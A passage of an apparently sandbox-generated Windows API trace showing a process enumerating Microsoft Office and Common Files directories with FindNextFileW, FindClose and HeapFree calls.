ftCreationTime.dwLowDateTime=0x245b0966, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x245b0966, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245d6b52, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x721, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="OneDrive for Business.lnk", cAlternateFileName="ONEDRI~1.LNK")) returned 1 [0255.216] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0255.216] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x868ac6fd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x868ac6fd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Fonts", cAlternateFileName="")) returned 1 [0255.329] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0255.330] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x8913323b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x8913323b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="private", cAlternateFileName="")) returned 0 [0255.330] FindClose (in: hFindFile=0x6ebdf0 | out: hFindFile=0x6ebdf0) returned 1 [0255.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0255.330] FindNextFileW (in: hFindFile=0x6eb770, lpFindFileData=0x3b2f308 | out: lpFindFileData=0x3b2f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xaf31749c, ftLastAccessTime.dwHighDateTime=0x1d47c31, ftLastWriteTime.dwLowDateTime=0xaf31749c, ftLastWriteTime.dwHighDateTime=0x1d47c31, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesCommonX64", cAlternateFileName="PROGRA~3")) returned 1 [0255.330] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0255.330] FindNextFileW (in: hFindFile=0x6ec0b0, lpFindFileData=0x3b2f08c | out: lpFindFileData=0x3b2f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x52ea133, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x52ea133, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Shared", cAlternateFileName="MICROS~1")) returned 1 [0255.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.331] FindNextFileW (in: hFindFile=0x6ebab0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x2f7aa31, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2f7aa31, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x245fcdca, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1702b0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DBGHELP.DLL", cAlternateFileName="")) returned 1 [0255.331] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.331] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x868ac6fd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQUATION", cAlternateFileName="")) returned 1 [0255.332] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0255.332] FindNextFileW (in: hFindFile=0x6eb830, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf086f11e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf086f11e, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf086f11e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="API-MS~2.DLL")) returned 1 [0255.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.334] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf99b89f6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf99b89f6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf99b89f6, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="EURO", cAlternateFileName="")) returned 1 [0255.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.334] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd2ca2e08, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14c6cb9, ftLastAccessTime.dwHighDateTime=0x1d47c32, ftLastWriteTime.dwLowDateTime=0x14c6cb9, ftLastWriteTime.dwHighDateTime=0x1d47c32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Filters", cAlternateFileName="")) returned 1 [0255.334] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.334] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2e1f46, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xb976f98, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xb976f98, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GRPHFLT", cAlternateFileName="")) returned 1 [0255.372] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.373] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12910b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26737b32, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26737b32, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0255.377] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.377] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf472b09c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf472b09c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf472b09c, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSClientDataMgr", cAlternateFileName="MSCLIE~1")) returned 1 [0255.380] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.380] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bb01a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bb01a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1 [0255.489] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.489] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xceb38292, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xceb38292, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xe172e9be, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x22cad0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ACECORE.DLL", cAlternateFileName="")) returned 1 [0255.492] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.492] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe99511, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x24bcc96d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x24bcc96d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="DataModel", cAlternateFileName="DATAMO~1")) returned 1 [0255.525] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.525] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x381f2dc, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x381f2dc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x381f2dc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17e0c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.AnalysisServices.Common.dll", cAlternateFileName="MI1312~1.DLL")) returned 1 [0255.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4011ee8 | out: hHeap=0x630000) returned 1 [0255.540] FindNextFileW (in: hFindFile=0x6ebcf0, lpFindFileData=0x3b2e69c | out: lpFindFileData=0x3b2e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf4befc00, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0 [0255.540] FindClose (in: hFindFile=0x6ebcf0 | out: hFindFile=0x6ebcf0) returned 1 [0255.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.540] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x447d6b4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x447d6b4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x44a38de, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x1c190, dwReserved0=0x0, dwReserved1=0x0, cFileName="System.Spatial.dll", cAlternateFileName="SYSTEM~1.DLL")) returned 1 [0255.540] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.540] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2803429, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2803429, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2803429, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1 [0255.541] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.541] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf4befc00, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf4befc00, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x26a58c7d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x77e88, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="EXPSRV.DLL", cAlternateFileName="")) returned 1 [0255.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.545] FindNextFileW (in: hFindFile=0x6ebb30, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xef915def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc8aa06f, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8f6526, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office.en-us", cAlternateFileName="OFFICE~1.EN-")) returned 0 [0255.545] FindClose (in: hFindFile=0x6ebb30 | out: hFindFile=0x6ebb30) returned 1 [0255.545] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.545] FindNextFileW (in: hFindFile=0x6ebbb0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0fbc434, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0fbc434, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf10a1263, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x2c40, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="OFFREL.DLL", cAlternateFileName="")) returned 1 [0255.547] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.549] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16be2c7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc8d02b2, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc8d02b2, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROOF", cAlternateFileName="")) returned 1 [0255.551] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.551] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc576616a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Smart Tag", cAlternateFileName="SMARTT~1")) returned 1 [0255.567] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.567] FindNextFileW (in: hFindFile=0x6eb970, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfc62081b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc62081b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc62081b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1bac0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="FBIBLIO.DLL", cAlternateFileName="")) returned 1 [0255.570] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4001ee0 | out: hHeap=0x630000) returned 1 [0255.570] FindNextFileW (in: hFindFile=0x6ebaf0, lpFindFileData=0x3b2e918 | out: lpFindFileData=0x3b2e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x26bd6427, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x26bd6427, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x377ef, dwReserved0=0x0, dwReserved1=0x0, cFileName="BASMLA.XSL", cAlternateFileName="")) returned 1 [0255.976] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0255.976] FindNextFileW (in: hFindFile=0x6eb970, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf7beb2bc, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7beb2bc, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1cec0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="METCONV.DLL", cAlternateFileName="")) returned 1 [0255.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.977] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0ed7602, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf0ed7602, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf0ed7602, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Source Engine", cAlternateFileName="SOURCE~1")) returned 1 [0255.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.977] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x5f76153, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="TEXTCONV", cAlternateFileName="")) returned 1 [0255.977] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0255.977] FindNextFileW (in: hFindFile=0x6ebdf0, lpFindFileData=0x3b2ee10 | out: lpFindFileData=0x3b2ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="THEMES16", cAlternateFileName="")) returned 1 [0256.388] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.388] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27c86bce, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27c86bce, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="ARCTIC", cAlternateFileName="")) returned 1 [0256.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.389] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26bd6427, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="AXIS", cAlternateFileName="")) returned 1 [0256.389] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.389] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a96da3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a96da3, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLENDS", cAlternateFileName="")) returned 1 [0256.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.393] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a70c44, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27a70c44, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27a70c44, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUECALM", cAlternateFileName="")) returned 1 [0256.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.393] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27ae323c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27ae323c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BLUEPRNT", cAlternateFileName="")) returned 1 [0256.393] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.393] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BOLDSTRI", cAlternateFileName="")) returned 1 [0256.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.394] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27a96da3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x27abcfff, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x27abcfff, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="BREEZE", cAlternateFileName="")) returned 1 [0256.394] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4072fd0 | out: hHeap=0x630000) returned 1 [0256.394] FindNextFileW (in: hFindFile=0x6eb7f0, lpFindFileData=0x3b2eb94 | out: lpFindFileData=0x3b2eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x27abcfff, ftCreationTime.dwHighDateTime=0x1d327e8, 